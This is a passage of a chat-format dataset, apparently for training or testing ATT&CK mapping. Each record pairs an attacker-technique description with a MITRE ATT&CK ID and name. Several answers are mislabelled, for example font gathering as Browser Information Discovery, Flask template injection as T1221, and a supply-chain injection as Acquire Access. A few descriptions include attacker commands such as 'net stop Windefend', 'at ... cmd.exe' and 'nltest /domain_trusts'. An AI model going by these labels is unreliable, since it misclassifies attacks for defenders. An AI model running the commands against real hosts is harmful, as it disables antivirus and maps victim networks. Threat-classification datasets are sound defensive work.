                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uploaded an encoded ASP web shell via a misconfigured upload endpoint, establishing a hidden backdoor on the web server."
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat software registers a rogue password filter module that processes passwords and forwards them to a command‑and‑control server during authentication events."
            },
            {
                "role": "assistant",
                "content": "T1556.002 - Modify Authentication Process: Password Filter DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malware sample queries the Service Control Manager via WMI to retrieve service names and statuses."
            },
            {
                "role": "assistant",
                "content": "T1007 - System Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware gathers the list of installed fonts and sends the information to the attacker."
            },
            {
                "role": "assistant",
                "content": "T1217 - Browser Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using PowerShell, the attacker invokes a cryptographic routine that encrypts all .docx and .xlsx files in the user's profile directory and displays a ransom demand."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After obtaining a user's SSH credentials, the threat actor logs into the target machine and hijacks the user's existing SSH session to execute malicious commands."
            },
            {
                "role": "assistant",
                "content": "T1563.001 - Remote Service Session Hijacking: SSH Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor used the launchctl command on macOS to load a plist that starts a malicious daemon at boot."
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware copies the Chrome Safe Storage file and uses the user's login password to decrypt and harvest stored credentials."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actor employs advanced search operators on GitHub to discover AWS keys in open source projects."
            },
            {
                "role": "assistant",
                "content": "T1593.003 - Search Open Websites/Domains: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary abuses an unsecured metadata endpoint to download the instance's IAM role credentials for further lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1552.005 - Unsecured Credentials: Cloud Instance Metadata API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged a compromised privileged account to change the MFA settings for multiple users, disabling the second factor requirement entirely."
            },
            {
                "role": "assistant",
                "content": "T1556.006 - Modify Authentication Process: Multi-Factor Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker builds a botnet of compromised smartphones to harvest location data and later use the aggregated information for targeted attacks."
            },
            {
                "role": "assistant",
                "content": "T1584.005 - Compromise Infrastructure: Botnet"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker automates the copying of sensitive emails onto any detected removable storage device."
            },
            {
                "role": "assistant",
                "content": "T1025 - Data from Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor encodes file contents with Base64 and stores them in a custom registry value for later retrieval."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary places a stealthy drive‑by download on a high‑traffic blog, delivering a credential‑stealing tool to anyone who loads the page."
            },
            {
                "role": "assistant",
                "content": "T1608.004 - Stage Capabilities: Drive-by Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker automates container deployment via a CI/CD pipeline to spread malware across the environment."
            },
            {
                "role": "assistant",
                "content": "T1610 - Deploy Container"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary infiltrated a popular open-source library by adding malicious code to the source repository, causing downstream projects that depend on the library to execute a hidden backdoor."
            },
            {
                "role": "assistant",
                "content": "T1195.002 - Supply Chain Compromise: Compromise Software Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware uses a DNS calculator module to generate candidate domains, then resolves them to find a reachable command server."
            },
            {
                "role": "assistant",
                "content": "T1568.003 - Dynamic Resolution: DNS Calculation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary deploys a kernel-level rootkit that hooks the file system API to hide malicious binaries from file listings."
            },
            {
                "role": "assistant",
                "content": "T1014 - Rootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor exploits PATH variable manipulation to intercept calls to \"python\", redirecting them to a tampered interpreter that exfiltrates data."
            },
            {
                "role": "assistant",
                "content": "T1574.007 - Hijack Execution Flow: Path Interception by PATH Environment Variable"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group performed a lateral movement by authenticating with a valid local account on a newly discovered workstation."
            },
            {
                "role": "assistant",
                "content": "T1078.003 - Valid Accounts: Local Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary runs `nltest /domain_trusts /all_trusts` to enumerate all trusted domains in the forest."
            },
            {
                "role": "assistant",
                "content": "T1482 - Domain Trust Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker runs a PowerShell script to retrieve the public IP address by querying an external web service, revealing the machine's internet connection."
            },
            {
                "role": "assistant",
                "content": "T1016.001 - System Network Configuration Discovery: Internet Connection Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary used a script to uninstall the installed antivirus software before executing payloads."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Persistence achieved by registering a new driver (kernel mode) that loads at system start."
            },
            {
                "role": "assistant",
                "content": "T1547.006 - Boot or Logon Autostart Execution: Kernel Modules and Extensions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hackers inject defacement HTML into a comment field that is rendered on the homepage."
            },
            {
                "role": "assistant",
                "content": "T1491 - Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries move collected audio recordings into a temporary local folder before sending them to a C2 server."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker dropped a Python script onto the compromised system and ran it to harvest credential files."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a privilege escalation exploit, the attacker configures the OS to boot into Safe Mode on next restart to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1562.009 - Impair Defenses: Safe Mode Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor deploys a public proxy service to hide the origin of their traffic while exfiltrating data from the target network."
            },
            {
                "role": "assistant",
                "content": "T1090 - Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script verifies the presence of a human by checking for active GUI processes and halts if none are found."
            },
            {
                "role": "assistant",
                "content": "T1497.002 - Virtualization/Sandbox Evasion: User Activity Based Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script searches for credential strings in PowerShell scripts and saves the findings to a temporary file for later exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1552.001 - Unsecured Credentials: Credentials In Files"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious macro includes meaningless cells in a spreadsheet to hide the true payload."
            },
            {
                "role": "assistant",
                "content": "T1001.001 - Data Obfuscation: Junk Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code exploits a third‑party web service to establish a duplex channel, enabling command execution on the host and simultaneous upload of harvested credentials."
            },
            {
                "role": "assistant",
                "content": "T1102.002 - Web Service: Bidirectional Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary placed a malicious .vbs file in a directory that is auto-executed by the Office macro engine, causing the script to run through the system's script host as a proxy."
            },
            {
                "role": "assistant",
                "content": "T1216 - System Script Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker leveraged cmd.exe to run \"wmic process get name,processid\" and list process details via WMI."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries store API keys in clear text within the Registry hive to maintain persistence across reboots."
            },
            {
                "role": "assistant",
                "content": "T1552.002 - Unsecured Credentials: Credentials in Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor injects malware into a system to extract credentials and other sensitive information, which technique does this describe?"
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker runs \"net user\" on the compromised host to enumerate all local user accounts."
            },
            {
                "role": "assistant",
                "content": "T1087 - Account Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised system was observed with a file named \"update.pkg\" that was actually a disguised ransomware executable, demonstrating file type masquerading."
            },
            {
                "role": "assistant",
                "content": "T1036.008 - Masquerading: Masquerade File Type"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary manipulates cookie values to fabricate credentials, allowing them to access restricted web resources without authentication."
            },
            {
                "role": "assistant",
                "content": "T1606.001 - Forge Web Credentials: Web Cookies"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant uses a self‑designed encoding algorithm that maps each byte to a two‑character Unicode string, making the data appear as benign chat messages."
            },
            {
                "role": "assistant",
                "content": "T1132.002 - Data Encoding: Non-Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor searches an exclusive cybercrime forum for leaked breach data sold by security vendors."
            },
            {
                "role": "assistant",
                "content": "T1597.001 - Search Closed Sources: Threat Intel Vendors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Continuous high-volume traffic is directed at a specific application process, consuming all available CPU cycles and causing denial of service."
            },
            {
                "role": "assistant",
                "content": "T1499.003 - Endpoint Denial of Service: Application Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uploaded a malicious web shell to the compromised Apache server to maintain persistent access."
            },
            {
                "role": "assistant",
                "content": "T1505 - Server Software Component"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During exploitation, the adversary patches the vDSO to point to a malicious routine, achieving code execution."
            },
            {
                "role": "assistant",
                "content": "T1055.014 - Process Injection: VDSO Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The trojan reads the registry key HKLM\\SYSTEM\\CurrentControlSet\\Control\\SystemInformation and looks for the string 'VirtualBox' to abort execution in a VM."
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromised device's agent collects BIOS version, firmware details, and serial numbers, packaging them into an encrypted beacon."
            },
            {
                "role": "assistant",
                "content": "T1592 - Gather Victim Host Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder accesses open DNS lookup tools to retrieve A and MX records for the target's domains."
            },
            {
                "role": "assistant",
                "content": "T1596.001 - Search Open Technical Databases: DNS/Passive DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the compromise, the malicious DLL was named \"services.exe \" (with a trailing space) to blend in with legitimate system services."
            },
            {
                "role": "assistant",
                "content": "T1036.006 - Masquerading: Space after Filename"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the Linux 'import' command from ImageMagick, the threat actor captures the X11 display and sends it via HTTP."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor uses a signed but tampered .dylib to bypass code signing checks, causing the legitimate macOS app to load and run the malicious code."
            },
            {
                "role": "assistant",
                "content": "T1574.004 - Hijack Execution Flow: Dylib Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised firmware update changes the device’s TLS library to reject modern protocol versions, forcing all communications to use an outdated and vulnerable TLS version."
            },
            {
                "role": "assistant",
                "content": "T1562.010 - Impair Defenses: Downgrade Attack"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Persistent backdoor uses a scheduled task to download additional payloads from a C2 server daily."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware stops the antivirus service by executing 'net stop Windefend' and then deletes its executable files."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An APT group scripts DNS calculations based on current date and time to create domains for beaconing."
            },
            {
                "role": "assistant",
                "content": "T1568.003 - Dynamic Resolution: DNS Calculation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A custom iOS payload reads the securityd process’s memory to siphon stored authentication data."
            },
            {
                "role": "assistant",
                "content": "T1555.002 - Credentials from Password Stores: Securityd Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors build an exploit for a known VPN client vulnerability to establish a covert command‑and‑control channel."
            },
            {
                "role": "assistant",
                "content": "T1587.004 - Develop Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors use a domain registration service with anonymized WHOIS to hide their identity."
            },
            {
                "role": "assistant",
                "content": "T1583.001 - Acquire Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT groups monitor Reddit threads for insider comments that disclose network architecture or system configurations."
            },
            {
                "role": "assistant",
                "content": "T1593.001 - Search Open Websites/Domains: Social Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary exploits the email client’s rule engine to forward all incoming emails to a data exfiltration point."
            },
            {
                "role": "assistant",
                "content": "T1114.003 - Email Collection: Email Forwarding Rule"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leverages a Windows DLL hijacking technique to intercept and capture login credentials."
            },
            {
                "role": "assistant",
                "content": "T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A coordinated botnet conducts a multi-vector DDoS, combining UDP, TCP SYN, and HTTP floods to overwhelm the victim's infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1498 - Network Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary runs a malicious script via the Windows Terminal (wt.exe) to bypass certain security controls."
            },
            {
                "role": "assistant",
                "content": "T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor leverages the Windows Distributed Component Object Model service to move laterally across the network."
            },
            {
                "role": "assistant",
                "content": "T1021.003 - Remote Services: Distributed Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code probes the system for Wi‑Fi network profiles, capturing SSID, BSSID, and authentication methods."
            },
            {
                "role": "assistant",
                "content": "T1016.002 - System Network Configuration Discovery: Wi-Fi Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors performed a supply chain attack by injecting malicious code into a software update, allowing them to acquire access."
            },
            {
                "role": "assistant",
                "content": "T1650 - Acquire Access"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A credential‑stealing tool harvests local email databases from MAPI stores on the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1114.001 - Email Collection: Local Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages template injection in a Flask application by injecting {{ config }} statements to read sensitive configuration files."
            },
            {
                "role": "assistant",
                "content": "T1221 - Template Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By creating a new entry under HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Security Packages, the attacker forces Windows to load their code during authentication."
            },
            {
                "role": "assistant",
                "content": "T1547.002 - Boot or Logon Autostart Execution: Authentication Package"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use Windows shortcut files with forged icons to conceal the launch of a credential dumping tool."
            },
            {
                "role": "assistant",
                "content": "T1027.012 - Obfuscated Files or Information: LNK Icon Smuggling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker places a WSH script in the Startup folder to maintain persistence across reboots."
            },
            {
                "role": "assistant",
                "content": "T1037 - Boot or Logon Initialization Scripts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a Content Security Policy bypass, the adversary injects inline JavaScript that harvests browser storage data."
            },
            {
                "role": "assistant",
                "content": "T1659 - Content Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor modifies the server's configuration files to enable outdated SSL protocols, reducing the security posture of the service."
            },
            {
                "role": "assistant",
                "content": "T1562.010 - Impair Defenses: Downgrade Attack"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors forced the application to use a 40‑bit export‑grade encryption algorithm, significantly reducing key space."
            },
            {
                "role": "assistant",
                "content": "T1600.001 - Weaken Encryption: Reduce Key Space"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion team executes \"at 03:00 /interactive cmd.exe\" to open a command prompt with system privileges at a scheduled time."
            },
            {
                "role": "assistant",
                "content": "T1053.002 - Scheduled Task/Job: At"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
